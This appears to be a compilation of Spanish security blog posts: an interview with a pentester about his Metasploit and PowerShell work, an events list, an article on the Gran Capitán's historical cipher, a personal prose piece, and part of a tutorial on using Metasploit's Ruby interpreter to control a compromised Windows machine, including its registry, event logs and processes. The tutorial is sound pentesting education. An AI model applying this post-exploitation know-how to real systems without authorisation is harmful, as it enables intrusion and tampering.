Sin duda, sí. Digamos que de todo y de todos se puede aprender. Pelearse con algo nuevo para uno tiene algo enriquecedor y siempre positivo, aunque también pueda generar cosas negativas. Cuando decidí montar Flu Project, con 23 años, junto a Juan Antonio, éramos dos niños que queríamos aprender, devorar conocimientos y proponer nuestras ideas, en alguna ocasión también loca, y concienciar de los riesgos y amenazas de Internet. De este proyecto pude sacar muchas cosas positivas y el aprendizaje es constante, como dije anteriormente, cuando te enfrentas a situaciones nuevas o que no has hecho antes.

Por otro lado, hackersClub llegó a mis 30 años. Notas la diferencia de pensamientos de los 23 a los 31, y sabes mejor lo que quieres, necesitas y por dónde quieres ir. hackersClub me ha aportado un conocimiento distinto, más alejado del ingeniero y que creo que deberíamos estudiar en las Universidades. El emprendimiento. Es cierto que hackersClub no es más que una marca que fomenta la formación especializada, incluso a medida para las empresas, pero que no deja de ser un hobby. ¿Un hobby? Sí solo viviera de ello, sería distinto.
- Has escrito un montón de libros en 0xWord, ¿de cuál te sientes más orgulloso?
Es una pregunta difícil. Todos son especiales, porque a todos los libros les coges cierto cariño, pero tengo unos más marcados en mi interior, supongo que por los momentos en los que llegaron. Te dejo tres:
- El primero que escribí. Powershell: La navaja suiza para administradores IT. Aún recuerdo a finales de 2011 cuando me propusiste hacer el libro y, sin dudarlo, dije sí. Referente a temas de trabajos no solía decir que no a nada. Fue especial, precisamente porque era el primero, porque siempre me han apasionado las líneas de comando y porque yo le veía mucho potencial a Powershell, que por aquel entonces estaba en su versión 2.0. Luego vendría el de Pentesting con Powershelll mucho más maduro.

- Metasploit para Pentesters. Entré en tu despacho y te dije: "¿Crees que estaría bien hacer un libro de Metasploit?". Me dijiste: "¿Quieres hacerlo?". "Sí", respondí. Mediados de 2012. Ahí empezó la historia de un libro muy especial, aprendí mucho en el desarrollo del libro, tanto de escritura como de la parte técnica. Fue muy entretenido hacer este libro. Recuerdo las horas con Antonio Díaz revisándolo y cuando tú fuiste a la No cON Name de aquel año y me llamaste para decirme: "Se han vendido todos en el break del congreso". No sabíamos que aquel libro fuera "tan querido" y para mí una grata sorpresa. Por último, recuerdo muchas críticas del libro, pero una de Claudio Caracciolo, en la 8dot8 de 2014 en Chile, en la que me decía: "Has dejado hasta la última gota de conocimiento en ese libro". En ese instante, no sé si era algo bueno o malo, pero solo sé que Claudio me quiere para bien ;-)

- Got Root. Es muy especial. Fue un placer trabajar con Felipe Colorado en esta novela de hacking. Todo surgió porque fui viendo que hacía libros que mi madre no podía leer. Me dije a mi mismo tienes que hacer un libro que tu madre pueda leer y así surgió el tema de la novela de Got Root. Ella tiene todos los libros que he publicado en el salón y quería que no solo fueran un adorno, si no que pudiera leer cosas escritas por su hijo. ¿Nostalgia++? Si la siguiente pregunta es, ¿Lo ha leído? La respuesta es… sí ;-)
- De todos tus trabajos de hacking, ¿de cuál te sientes más orgulloso?
El primero quizá es el que marca un poco más por la dedicación, la ilusión, y por todo el esfuerzo en que salga bien. En el año 2010 comenzamos con Flu Project y de ahí salió el troyano educativo con unas dependencias de .NET enormes, aún recuerdo algún foro dónde se "reían" de ello. Aquel trabajo muy de concienciación nos sirvió para estar en unas jornadas llamadas JITICE 2011 y presentar el modelo de educativo basado en conocer las amenazas desde dentro, es decir, enseñar a la gente a través del código de herramientas que pueden ser maliciosas, en función del uso que les des. Ahora mismo, dicho proyecto está parado, pero lo recuerdo con gran anhelo.

Aquello desembocó en un trabajo llamado técnicas oscuras para combatir la pederastia, el cual fue presentado en 2011 en la No cON Name. Es un trabajo de evaluación de leyes entre Colombia y España, un trabajo en el que se muestra cómo existen técnicas y vías para combatir a esta lacra. Lógicamente, todo orquestado por fuerzas y cuerpos de seguridad del estado.

Por otro lado, también recuerdo con gran anhelo un trabajo sobre la detección de funciones inseguras en repositorios de código abierto, buscando, y encontrando, vulnerabilidades. Es una idea sencilla que, cómo todas al principio, pensaba que no daría grandes resultados, llevándome, a posteriori, una gran sorpresa. Aquí tuve la suerte de presentarla en varios sitios como 8dot8 2015 o hackron 2015.

También recuerdo la idea del cibersoldado y cómo a través de Android podías proporcionar los recursos a tu ciberestado. Esto recuerdo que lo presentamos como una idea loca, pero viable, en la Rooted CON 2014. Un estado sometido podía luchar contra un grande en el mundo digital, ya que la capacidad de cómputo de los dispositivos móviles se sumaba a la lucha. Recuerdo el símbolo de la hoja de marihuana que identificaba la idea como una "fumada", pero visto lo visto, nunca se sabe dónde pueden acabar las ideas.



Figura 3: Cyberwar: Looking for ... touchdown

Investigaciones como las de cómo los chicos malos pueden conquistar el mundo también la guardo. Es más, con ésta estuve en BSides Colombia en 2016, de la cual guardo gran recuerdo.

Luego, hay trabajos más de "andar por casa" que salen en artículos o que acabaron en algún CVE o que simplemente quedan en curiosidades de los cuales me siento también muy orgulloso, pero creo que me extiendo demasiado.
- Y por fin te animaste a ir a una CON en el extranjero con uac-a-mola. ¿Cómo fue la experiencia de construir uac-a-mola y el momento de estar en Black Hat con tu juguete?
Por fin… Recuerdo conversaciones contigo dónde me decías tienes que ir aquí, tienes que ir allá. No eras el único que me incitaba. Recuerdo a Angelucho y Josep Albors en una Sh3llcon pasada incitándome. Al final lo habéis conseguido… La experiencia fue muy grata. Ver a ese volumen de gente y el nivel de los speakers es, sin duda, un momento especial. Mirar la revista de Black Hat y ver a uac-a-mola con el DirtyPi y herramientas reconocidas como OWASP ZAP, Dradis Framework, DET, ExploitPack, extensiones de Burp Suite…

Respecto a uac-a-mola. La idea la tenía desde principios de 2017. Lo que faltaba era el tiempo. Había hablado con Pablo San Emeterio y con Ioseba Palop de ello. Al final, llegó al equipo Santiago Hernández y sus primeras tareas fueron trabajar en uac-a-mola. Creo que los dos estamos orgullosos de cómo ha quedado el proyecto, si tenéis la oportunidad de crear un módulo y probarlo veréis el potencial. Además, ya hemos visto que la parte de investigación funciona ;-)

- Has estado en infinidad de CONs y has conocido a gente fantástica. ¿A quién admiras en este mundo nuestro?
Es una pregunta difícil, pero que para identificar a algunos es fácil. Chema Alonso. Muchos pueden ver esto como un "claro es su jefe", pero a mí lo que digan siempre me ha dado un poco más igual. Digo Chema por todo lo que me ha enseñado tanto en una CON, como en el día a día del trabajo.

También digo David Barroso. Él seguramente no lo sepa, y puede que si lee esto se entere aquí, pero me ha enseñado muchas cosas y es un hombre admirable por su forma de ser, por su conocimiento y por su comunicación.

Existen otros nombres, la verdad que hay mucha gente a la que admirar en el panorama nacional e internacional. Por ejemplo, Selvi y Siles son dos personas e investigadores dignos de admirar. Escapan de los jaleos y son admirables por su conocimiento y comunicación.

También te voy a nombrar a nuestro CISO, aunque me intente "trolear" cada vez que nos vemos, lo intenta, pocas veces lo consigue… Alejandro Ramos "dab" es un referente y un ejemplo detrás de esa dura piel.



Por último, también quiero nombrar a Kevin Mitnick. Gracias a ti he podido conocer a alguien que conocía desde los 14 años y que ha sido un referente. Hoy en día puedo whatsappear con él, hacerme una foto con él cuando viene a Madrid y poder contarle investigaciones y cosas que hacemos en Telefónica. Una vez que le conoces, ves que es un tio distinto, un genio en su forma de ser.
- No es casualidad tu desarrollo profesional, que pocos saben que siempre fuiste un buen estudiante. ¿Qué significó ser primero de promoción y tener un premio extraordinario en tu Universidad?
Ambos reconocimientos me llegaron cuando tenía 23 años. Me llegó por sorpresa. No sabía ni que daban esos premios. Lógicamente es algo que te llena de orgullo. Pensé en todo el esfuerzo de la carrera, de las asignaturas, de las horas de estudio y también de las horas de no estudio en la biblioteca. Pero al final, me di cuenta que aquello era importante no por mí, si no por la familia. Los que nunca fallan. Los que te han visto crecer, esforzarte, caer, levantarte, volver a caer, ayudarte a levantar. Ver el orgullo por tí en los ojos de otros es algo que no se paga.

Días después te puedo contar lo que supuso también, lo cual he comentado en alguna mesa redonda. Uno tiene 23 años, sale de la Universidad y se puede creer cosas que no son. Nos pasará a todos. Yo podía creerme el primero de una promoción, pero al volver a la oficina veía a mis compañeros de trabajo con estudios inferiores y que me sacaban años luz. Esto era un choque de conceptos para mí, porque mi Universidad me premiaba a la par que yo veía a chicos de mi edad en Informática 64 que me daban mil vueltas. Lógicamente, te das cuenta que una cosa no quita la otra, así que me motivó a seguir aprendiendo, a seguir conociendo, a seguir luchando y disfrutando del sector. Esfuerzo, dedicación, pasión, práctica y al final… todo llega. Sin duda, toda una experiencia.
- Y ahora Microsoft te han nombrado Most Valuable Profesional. ¿Pesa la responsabilidad?
Fue un honor para mí. Lo sigue siendo y espero que lo siga siendo en un futuro próximo. Cuando Kinomakino o Joaquín Molina, me comentó que me había nominado pensé, ¿Yo? ¿Por qué? Él me comentó su opinión al respecto y después Microsoft hizo el resto. Lógicamente, es una responsabilidad, pero una motivante responsabilidad. 
He "paseado" la condición de MVP de Microsoft con orgullo en las clases, en los congresos y he dedicado tiempo a investigar y a difundir la seguridad en productos de Microsoft. De esto se trata y estoy orgulloso. Veremos si no me quedo en un año tuve un MVP o sigo siendo MVP en 2018-2019. Sea como sea, gran responsabilidad, gran experiencia y gran orgullo para mí.
- Mucha gente se agobia con la avalancha de ideas. Cuando nos sentamos a repasar los proyectos que llevamos discutiendo meses tú disfrutas como yo. No te agobias. ¿Cuáles son tus trucos para gestionar el tiempo?
Supongo que son los años que llevamos juntos. Esto uno lo ve como algo natural. El día a día en la oficina que suelen decir. Como dije antes, tenemos mil frentes abiertos y no hay mucho más truco que el de planificar prioridades, impacto de las cosas y necesidades de la empresa. Al final, todo es cuestión de prioridades y todas las ideas, pruebas, proyectos que llevamos deben estar "ordenados" de alguna forma. 
Mi truco estudiar la prioridad, el impacto, la volatilidad de la idea o el proyecto, las necesidades de la empresa… Después de la fórmula obtenemos una lista de hitos. Además, somos un equipo repartimos tareas y optimizamos tiempo. Somos un equipo ágil, eso me encargo yo de decírselo a todos los que entran con nosotros. Somos un equipo de innovación, un minilab de ideas locas y debemos ser ágiles, dar respuesta fiable en un tiempo adecuado. Al final el tiempo se optimiza y salimos adelante.
- Yo te he visto meterte a fondo con Metasploit y con Powershell (de los dos has escrito un libro). ¿Con qué te diviertes más?
Disfrutar más con Metasploit, sobretodo metiéndome a un nivel más bajo que el uso de la consola. Disfruto con los módulos, con la creación de funcionalidades o utilidades para Metasploit, un ejemplo fue el Latch que le puse a mi Metasploit en unas navidades. Pronto os podremos dar alguna sorpresa.
- ¿Y de las investigaciones con Metasploit y con Powershell? ¿Cuál es la que más disfrutaste?
Hay varias. En 2013 presenté en Rooted "Metasploit & Flu-AD: Avoiding AVs with Payloads/DLLs Injection", junto a Juan Antonio. En este trabajo se aprovechaba Flu-AD para integrarlo con Metasploit y poder hacer que el binario pesara lo menos posible, consiguiendo cargar funcionalidad directamente en memoria y logrando evadir AVs. Es un trabajo con el que disfruté bastante.

Figura 5: Metasploit & Flu-AD
En el año 2015 trabajé en un trabajo, el cual también podía tener cierta integración con Metasploit, que proponía el siguiente escenario: "Auditoría interna de sistemas en una organización, te dan un equipo y no tienes herramientas para la auditoría, ¿Qué haces?". Teniendo Powershell en el equipo no hay problema.

Figura 6: Dame PowerShell y moveré el mundo
La idea fue crear una herramienta en Powershell que iba permitiendo al pentester ir cargando funciones de ubicaciones remotas en memoria, sin tocar disco. Después, en el año 2016 hubo una evolución de la herramienta haciéndola más estable. He de decir, que cuando empecé con ello no conocía Powershell Empire, después me di cuenta del potencial de dicho proyecto y dejé un poco de lado a mi querido PSBot, pero nunca se sabe quizá reaparezca algún día tal ave Fénix.
- También das clases en la Universidad y diriges Proyectos de Fin de Carrera. ¿De todos los trabajos que han hecho los chavales, con cuál te quedas?

Es una pregunta difícil. Todos los proyectos que he llevado tienen algo especial. Generalmente, ves el esfuerzo de los chavales/as y todos te dejan algo nuevo. Es difícil quedarme con alguno, pero ha habido algunos bastante potentes, por ejemplo, hace unos años llevé un proyecto que realizaba un estudio sobre la seguridad en RF en las llaves de los coches y se hicieron pruebas con distintos coches de distintas épocas. Se implementaron ataques para las pruebas. Eso sí, todo en un entorno propio y controlado por los chavales.
No solo me quedo con ese, como te dije, me quedo con todos, porque todos tienen algo diferenciador y el esfuerzo que hay detrás, pero, por nombrar otro, el año pasado llevé uno de creación de perfiles a través de la captura de tramas de red muy interesante. ¿Cómo podemos saber por el tráfico que un tio tiene una cuenta en un banco? ¿Cómo podíamos saber cuál era tu operador? Tus peticiones DNS, HTTP, pueden darte esas respuestas. La idea surgió en un Equinox y la presentamos Ioseba Palop y yo. Después, convertí esa idea evolucionada en un TFM y también me gustó bastante el resultado.
- Ahora uno de los grandes misterios. ¿Cómo me aguantas después de tanto tiempo juntos?
¿Podríamos llevar este caso a cuarto milenio como un misterio? Para responderte a esta pregunta voy a comentar algo previamente. Cuando entré en Informática64 en el año 2009 yo no conocía a Chema Alonso. No sabía quién era, ni a que se dedicaba. Quizá eso fue clave para ir conociendo al trabajador/jefe e, incluso, también a la persona desde cero. Al final, uno ha escuchado muchas cosas y más de alguien con una imagen pública como la tuya, pero debe ser la experiencia personal de uno propio la que vale, la que te haga poder opinar.
Ahora sí, para responderte decir que creo que tenemos partes en común en lo que al trabajo se refiere y eso hace que me haya sido algo más fácil el estar en el día a día contigo. Eres una persona exigente en el trabajo y que se esfuerza y ejemplifica lo que es la pasión y el esfuerzo por llevar a cabo las cosas por lo que el día a día es exigente, sin duda. Pero, después de todo este tiempo creo que ha sido sencillo "aguantarte", somos parecidos en lo que buscamos del trabajo.
- Y la última, ya sabes, paternal... ¿te vas animar a hacer el doctorado?
Sabes que es una idea que tengo en la cabeza y que creo que debo llevar a cabo. No por necesidad, si no por qué me atrae la idea. Empecé en su momento en mi querida URJC, pero tiempo después se quedó en "stand by" y tengo que volver a retomar. El día a día ahora es frenético, pero sí me gustaría en algún momento de los próximos meses poder parar un poco y dedicarle a la tesis. Tenemos muchas ideas de por dónde conducir esto, lo que echamos más de menos es el tiempo.

Conferencias, Cursos y Charlas del 5 al 10 de Febrero @elevenpaths @tssentinel @0xWord @telefonica

$
0
0
Ya estamos en Febrero, y esta semana tenemos ya un acelerón en el número de actividades que hay planificadas. Yo voy a participar en un par de conferencias en Murcia y en Tenerife a través de vídeo conferencia, pero además hay cursos onlines, conferencias y charlas más que interesantes. Os paso la lista de las que tengo en el radar de ElevenPaths, LUCA D3 y 0xWord.

Figura 1: Conferencias, Cursos y Charlas del 5 al 10 de Febrero

El mismo lunes 5 de Febrero, a las 12:00 de la mañana tiene lugar en la Fundación Telefónica el acto de presentación del informe de la Sociedad Digital en el España. En el informe se habla del alcance de las redes de banda ancha fija y móvil que sirven de soporte a nuestra vida en Internet, del uso que hacemos de los distintos servicios digitales, la irrupción de la llamada generación mobile first, el cambio de paradigma hacia la sociedad cognitiva –cuyo nuevo metal precioso son los datos– y de la forma en la que estos están cambiando nuestras vidas.

Figura 2: Informe de la Sociedad Digital en España 2017

También están presentes cuestiones como la actividad digital del ecosistema empresarial y del sector público y, por supuesto, no nos olvidamos de los elementos más vanguardistas de la transformación digital, como la Inteligencia Artificial, el IoT y los hogares conectados, los coches autónomos, la economía 2.0 y Blockchain, por mencionar algunos.

Durante esta semana puedes apuntarte a los dos Cursos Online que dan comienzo en The Security Sentinel. El primero de ellos que está planificado para el día 6 de Febrero y en el que se entrega nuestro libro de 0xWord de título "Hacking iOS: iPhone & iPad", es el Curso Online de Auditorías Móviles. Una formación de 120 horas en las que se analizan en profundidad la auditoría de dispositivos móviles y las técnicas de análisis forense de estos.

Figura 3: Curso Online de Auditorías Móviles

La segunda de las formaciones el Curso Online de Hacking Ético. Esta es la formación más valorada por todos los alumnos, y es perfecta para adentrarse en el mundo profesional del pentesting en la empresa. En ella se entrega el libro de 0xWord titulado "Pentesting con PowerShell" y es una formación de 180 horas.

Figura 4: Curso Online Hacking Ético Experto

El día 6 de Febrero da comienzo en Murcia el evento Urban Intelligence, un evento global dedicado al mundo de las Smart Cities en el que yo participaré con una charla el primer día. Será una pequeña conferencia de 30 minutos seguido de un turno de preguntas en las que hablaré de oportunidades y riesgos en el mundo de la tecnología aplicada a la gestión de las ciudades.

Figura 5: Urban Intelligence en Murcia

Ese mismo día 6 de Febrero, Incibe participa en las actividades del Día de Internet Segura 2018 y nosotros estaremos presentes allí de la mano de nuestra compañera Yaiza Rubio, que intervendrá en una de las sesiones. Aquí tienes toda la información.

Figura 6: Día de Internet Segura 2018

El día 7, una interesante jornada en la Casa América de Madrid, donde con el lema de "¿Qué sabemos de la transformación digital?" habrá un debate en el que participan mis compañeras Irene Gómez, Directora de AURA en Telefónica, y la Dra. Beatriz Cerrolaza, CEO y fundadora de Alise Devices, junto con Gonzalo Alonso, CEO de ClouderTank.

Figura 7: ¿Qué sabemos de la Transformación Digital?

Los días 8 y 9 de Febrero son las fechas reservadas en Santa Cruz de Tenerife para la Hackr0n. La CON de las Islas Canarias en las que participaré por medio de una vídeo conferencia en una entrevista. Además, como ya es habitual en esta CON antes de carnavales, el plantel de los ponentes es espectacular y también estará mi compañero Pablo González.

Figura 8: Hackron en Islas Canarias
También, en la Hackron tienes talleres a los que puedes asistir. Si hay alguna actividad que se me ha escapado en la que participaremos, os la pondré por las otras redes sociales. Ya sabéis, Twitter, Facebook, etcétera.

Saludos Malignos!

Criptografía del pasado muy presente: El código secreto del Gran Capitán

$
0
0
En plena época donde ya se está hablando de la criptografía cuántica y los sistemas de cifrado post-cuántico, una noticia de un método criptográfico de hace 500 años se ha colado como noticia destacada en los principales medios de comunicación este país con polémica incluida. En concreto, la noticia habla del descifrado por parte del CNI del código secreto del Gran Capitán, que debe pasar ya como anécdota a la historia del Cifrado de las comunicaciones digitales.

Figura 1: Criptografía del pasado muy presente: El código secreto del Gran Capitán

Aunque parece ser que antes del CNI, un historiador inglés llamado Gustave Bergenroth ya lo descifró parcialmente (cierto que con bastante precisión) en el siglo XIX, en concreto en el año 1862. Dejando aparte la polémica sobre quién fue el primero en descifrarlo (aunque parece claro que fue Bergenroth) , a nosotros nos interesa más saber qué es y cómo funciona ese antiguo código secreto del Gran Capitán, que es una historia digna de pertenecer a la segunda parte del libro de nuestro libro de Microhistorias: Anécdotas y Curiosidades de la Historia de la Informática.

Figura 2: Libro de Microhistorias: Anécdotras y curiosidades de la historia de la informática

Centrándonos estrictamente en el campo de la criptografía, la base del método de cifrado utilizado por el Gran Capitán (Gonzalo Fernández de Córdoba) es el llamado sustitución o sustitución mono-alfabética. Aunque existen muchos tipos de cifrados por sustitución quizás el más famoso sea el Cifrado César donde básicamente se sustituyen letras por otras del alfabeto utilizando un desplazamiento de las mismas (por ejemplo, desplazando tres espacios a la derecha el alfabeto convierte la letra A en la letra D y así sucesivamente). El principal problema de este cifrado aparece en las repeticiones, ya que es posible identificar fácilmente letras o incluso palabras simplemente viendo las veces que estas se repiten en el texto.

Figura 3: Ejemplo de texto cifrado con el código del Gran Capitán. Fuente.

El nombre de esta técnica de descifrado analizando repeticiones se llama análisis de frecuencias, pero la codificación del Gran Capitán intentaba eludir este problema aplicando el método homofónico, el cual permite que las letras más utilizadas no aparezcan en igual proposición. Es decir, las letras o palabras más comunes dentro del alfabeto se sustituyen por otras combinaciones de letras (principalmente códigos monosilábicos como por ejemplo "xnp" para la preposición "de") y también símbolos.

Para poder descifrar este tipo de codificación se hace imprescindible el uso de un diccionario o una tabla de sustitución el cual nos permita conocer las diferentes combinaciones asociadas a los símbolos que aparecen en el texto cifrado. Además, para añadir más complejidad, se incluían dos símbolos que no tenían ningún significado y otro llamado "anulante" cuya única función era añadir "ruido" en el texto final cifrado.

El Gran Capitán utilizó dos tipos de cifrado muy parecidos entre sí aplicando las técnicas que hemos explicado anteriormente, pero realizando algunos cambios en las tablas de códigos y símbolos. El primero aparece en las correspondencias entre Fernando el Católico y el Gran Capitán durante agosto de 1502. El otro tipo de cifrado, se utilizó entre mayo de 1502 y abril de 1506.

El primer método de cifrado que hemos comentado anteriormente utilizaba la siguiente tabla de símbolos y su correspondencia con las letras del alfabeto:

Figura 4: Tabla de símbolos de los mensajes cifrados en agosto de 1502. Fuente.

Y en esta tabla podemos ver un ejemplo de los códigos monosilábicos utilizados:

" xak -> ducado
" xik ->  dos
" xap -> da
" xnp -> de
" xop -> dio
" xaq -> del
" xar -> después
" xix -> el
" ca -> Venecia
" cnc -> ver
" cng -> yo


El segundo método, sobre el cual se ha realizado el análisis del CNI (y también Bergenroth aunque este no lo descifró al completo), contiene 88 símbolos y 237 códigos creados a partir de combinaciones de letras. Además, la dificultad del descifrado era mayor al jugar con las separaciones entre las palabras evitando de esta forma conocer la longitud de las mismas y donde acaba o empieza la frase. La tabla de símbolos utilizadas en este segundo tipo de cifrado es la siguiente:

Figura 5: Tabla de símbolos del cifrado utilizado entre
Mayo de 1502 y de 1506. Fuente

Y algunos ejemplos de los códigos monosilábicos:

" lezo -> ayuda
" liq -> el
" loc -> arma
" luq -> capitán
" moc -> con
" muc -> contra
" pux -> lo
" ran -> por
" ao -> Sicilia


Fijaos que, en ambas tablas de símbolos, las letras más utilizadas en el alfabeto castellano como la letra A, R o I tienen hasta seis símbolos distintos para representarlas (aplicación del método homofónico que hemos comentado anteriormente).

Aparentemente el cifrado era bastante robusto para la época, pero tenía algunos fallos que hacían factible descifrarlos por parte de un atacante que fuera capaz de interceptarlo. Como nos cuenta Arturo Quirantes en esta web, uno de los problemas del cifrado era la selección de palabras digamos "curiosas" para cifrar algunas tan comunes como por ejemplo el artículo "los". Este artículo se cifraba como "peluso" y el artículo "las" se cifraba como "pelusa" (no se usaban los monosílabos), lo cual llenaría el texto de esta peculiar palabra llamaría demasiado la atención y daría pistas para poder averiguar a qué palabra pertenecen.

Figura 6: Detalle de las palabras "peluso" y "pelusa" en un texto cifrado. Fuente.

Otro de los problemas, esta vez no de la cifra sino la persona que escribía el texto cifrado era incluir alguna palabra sin cifrar dentro del texto codificado. Esto, además de llamar un poco la atención, podría provocar que el símbolo que estaba antes o después de dicha palabra fuera fácilmente deducible si se analizaba el contexto del mismo.

Si quieres comprobar por ti mismo todas las cartas cifradas y revisar esta parte de nuestra historia, puedes acceder directamente al archivo de la Biblioteca Digital Hispánica online. Curiosamente, en el mismo archivo, podemos encontrar una detallada la solución al cifrado, en concreto en la sección MSS/20211/52, donde aparecen todos los apuntes tomados por Bergenroth hace más de un siglo.

Autor: Fran Ramírez, Security Researcher en ElevenPaths. Escritor del libro "Microhistorias: Anécdotas y curiosidades de la historia de la informática". Escritor del blog Cyberhades.

Llueve

$
0
0
Y también nieva. A veces van juntas la lluvia y la nieve. Se alternan. Se reparten el espacio y el tiempo. Juegan con la física para afectar a la metafísica de nuestra esencia. Llueve. No sé si me gusta o no cuando llueve. Suenan los canalones. La vista desde la ventana se difumina. El paisaje se pierde entre las líneas que dibuja el agua. O el paisaje se convierte en esas líneas. No lo sé. Sé que llueve. Tal vez no entiendas por qué yo hablo de la lluvia. A lo mejor no tiene explicación. A lo mejor sí que la tiene. A lo mejor es que simplemente llueve.

Figura 1: Llueve

Miro mis manos y las veo teclear. Están pintando lo que veo con mis ojos. Ellas también lo ven. Llueve. Han visto llover muchas veces. No soy novato en el mundo. Ya no soy un jovencito. Ya he visto llover antes. Como hoy. Ésta me la sé. Llueve. De hecho, la última vez que llovió, sabía que volvería a llover. Como muchas otras cosas que no son lluvia. Aún me acuerdo de la frase de esa película que lo explicaba de maravilla: “Matar es como cortarse las uñas de los pies”. Igual que la lluvia. Igual que cuando llueve.

Cierro los ojos y lo noto. Se zarandea el tren. Como el tren que me llevó a Barcelona tantas veces. Como el que me llevó a Salamanca. Como el que me llevó a Asturias. Como el que me llevó a Valladolid. A Ávila a pasear por la muralla. ¿Estabas allí? A Tudela. Como el que me llevó a Valencia. A Huesca y a Segovia. Se zarandea mucho este tren. Como el que me llevó a Sevilla. Como el que me lleva a Málaga cuando voy a Málaga. Allí. Como el de Albacete cuando fui a esa CON. Como el de Lleida. En la Universidad. Sí, como ese que me llevó allí a dar una charla.

¿Estuviste tú allí? Sí. Conmigo. Tiempo atrás. Ya ha llovido desde entonces. Se zarandea el tren. Mucho. Como se zarandeaba el que me llevaba a Ciudad Real. Como el que iba a Burgos donde cenamos, ¿no? ¿O fuimos en coche? Este tren de hoy se mueve como el tren que me llevó a León. Como el que me llevó contigo. Como el que me llevaba contigo. Como el que tren que me alejo de ti. Como el que te llevará a Galicia. Hoy, se zarandea el tren. Llevándome a Murcia. Se zarandea mientras llueve. Como el tren que me traerá de vuelta a ti. Al volver de la conferencia.

Cuesta ordenar los pensamientos. Sobre todo después del retraso. El de la salida del tren. El que salía de Atocha. Donde comimos tantas veces. Donde tomé café contigo. Donde me despedí de ti. Donde te abracé. Donde me fui contigo. A estas horas ya estoy cansado. Mucho. Cuesta ordenar los pensamientos. Ha sido un día largo. Un lunes largo. Detrás de una semana larga. Como casi todas. Como esas semanas en las que cuando llega el viernes digo: “¡Qué semana más intensa!”. Sí, lo sé. Lo digo al acabar todas las semanas. Como esos domingos que me matan y me revuelven. Estoy cansado. No es la edad. No son los años. No son las veces que he estado cansado. Es solo que he estado cansado muchas veces. Muchas de ellas como hoy. Viajando en un tren que se zarandea mientras llueve.

Bostezo. Tengo sueño. Es de noche. Cierro los ojos. Escucho la canción más fuerte. Me impide dormir. Me ayuda a seguir tecleando este texto. Estoy cansado, pero la música me mantiene despierto. Mientras el tren se zarandea. Mientras llueve. La pongo muy fuerte. Canta Chester. Canta para mí. Más vivo que nunca. Para no darme cuenta del sueño. Para no darme cuenta de la lluvia. Para calmar mi zarandeo. Para escribir más rápido. Para que lata más rápido. Para no pensar más en que estoy cansado viajando en un tren que se zarandea mientras llueve. Como antaño. Como llovió antes.

Es curioso como unas letras pueden describir un mensaje con la misma precisión con que lo pueden esconder. Las de Chester, quiero decir. No me iba a descubrir tan fácilmente. Es curioso cómo una palabra puede significar lo mismo y lo contrario. A la vez incluso. Como un verbo puede ser un sustantivo. Y un sustantivo un deseo. Y un adjetivo, un hecho que oculta una metáfora. Un grito. Llueve. Y pienso que llueve mientras llueve. 

[Fundido en negro bajo la lluvia]

Saludos Malignos!

IRB: Pentesting desde el intérprete de Ruby en Metasploit

$
0
0
Hoy hablaré sobre una parte menos conocida de Metasploit y es la posibilidad de utilizar el IRB, o intérprete de Ruby, con el objetivo de entender que está ocurriendo por debajo. Esto es algo realmente útil, por ejemplo, cuando queremos escribir algún script para Meterpreter. En otras palabras, es muy recomendable entender lo que ocurre por debajo en esas capas y capas que tiene este magnífico framework. En otras ocasiones hemos trabajado con automatizaciones sobre RPC, lo cual era utilizado, por ejemplo, por Armitage.

Figura 1: IRB: Pentesting desde el intérprete de Ruby en Metasploit

Cuando tenemos una sesión de Meterpreter se puede obtener un intérprete de Ruby directamente con el que podemos interactuar, es decir, de manera directa con la máquina comprometida o dónde se tenga la sesión en curso. El artículo de hoy hablaré sobre qué cosas podemos construir e investigar gracias al IRB. Quería aprovechar que esta parte de Metasploit es mucho menos conocida que el uso de la herramienta y recordar que habrá un Rooted Lab sobre Metasploit en Rooted CON 2018.

Figura 2: En los Rootedlabs puedes usar los libros de
"Metasploit para pentesters 4ª Edicion" & "Ethical Hacking" como apoyo

El IRB puede utilizarse como primer elemento para ir probando diferente código y opciones y construir, de esta forma, diferentes scripts de Meterpreter. Además, el comando irb se encuentra disponible también desde la consola de Metasploit, pudiéndose utilizar también en el ámbito de la consola. Con él tenemos acceso a objetos, métodos y otros comandos interesantes:

Figura 3: Comando irb en la consola de Meterpreter
  • Objeto client: Este objeto representa la máquina comprometida y proporciona la mayoría de las acciones que podremos ir construyendo. Para entender las posibilidades que nos ofrece el objeto client, se puede ejecutar el método client.methods. Los primeros valores que nos devuelve la llamada client.methods son referentes a librerías que pueden ser utilizados con un gran número de funcionalidades: ui, fs, core, sys, priv, railgun, net o webcam.
  • Método commands: Este método reporta una serie de comandos disponibles desde el objeto client. Por ejemplo, si se ha cargado una extensión previamente, se dispondrá de los comandos que ofrece esta extensión también en el resultado de la ejecución de client.commands.
  • Context y Extensions:  Se pueden ejecutar con nuestro IRB. No son métodos del objeto client. El primero de ellos muestra atributos configurados sobre el workspace de Metasploit en el que estamos trabajando. El segundo muestra una serie de extensiones que se encuentran cargadas.
Ahora vamos a ver un ejemplo de uso de IRB para sacarle más partido a nuestro querido Metasploit en un trabajo de Ethical Hacking

Trabajando con el objeto client

Podemos interactuar con la máquina comprometida a través de este objeto directamente. Antes hemos ejecutado client sobre el IRB y nos han devuelto que existe una sesión contra una máquina, en este caso Windows 7, y con una identidad concreta, en este caso SYSTEM.

También hemos comentado los diferentes métodos que nos proporcionaba el comando methods, por lo que es hora de mostrar algo más. El primer ejemplo es ver hasta dónde podemos llevar con la librería fs. Para ello, ejecutamos client.fs y observamos que tiene tres clases y una extensión.

Figura 4: Ejecución de client.fs

Si ejecutamos client.fs.dir ya vemos que es un elemento final, en este caso, una clase. En ambas ejecuciones podríamos haber hecho uso del método “methods” para ver qué métodos existen alrededor de estos elementos.

Figura 5: Ejecución de client.fs.dir

Para ejemplificar un poco más, vamos a utilizar sys a través del objeto client para ver qué cosas podemos utilizar. En la imagen, se puede ver como hay varias clases:
  • process, la cual estará relacionada con la gestión de procesos de la máquina comprometida. 
  • registry, la cual nos permitirá realizar gestiones y manipulaciones en el registro.
  • eventlog, la cual nos permitirá leer y modificar el registro de eventos de Windows.
  • power, con la que podremos realizar operaciones de apagado de la máquina.
Además, se puede ver que hay un contexto proporcionado por sysinfo en el que se muestran datos de la máquina como el nombre de la máquina, la identidad del proceso, la arquitectura, el lenguaje, el dominio, el número de usuarios con sesión iniciada en la máquina, etcétera.

Figura 6: Ejecución del comando client.sys

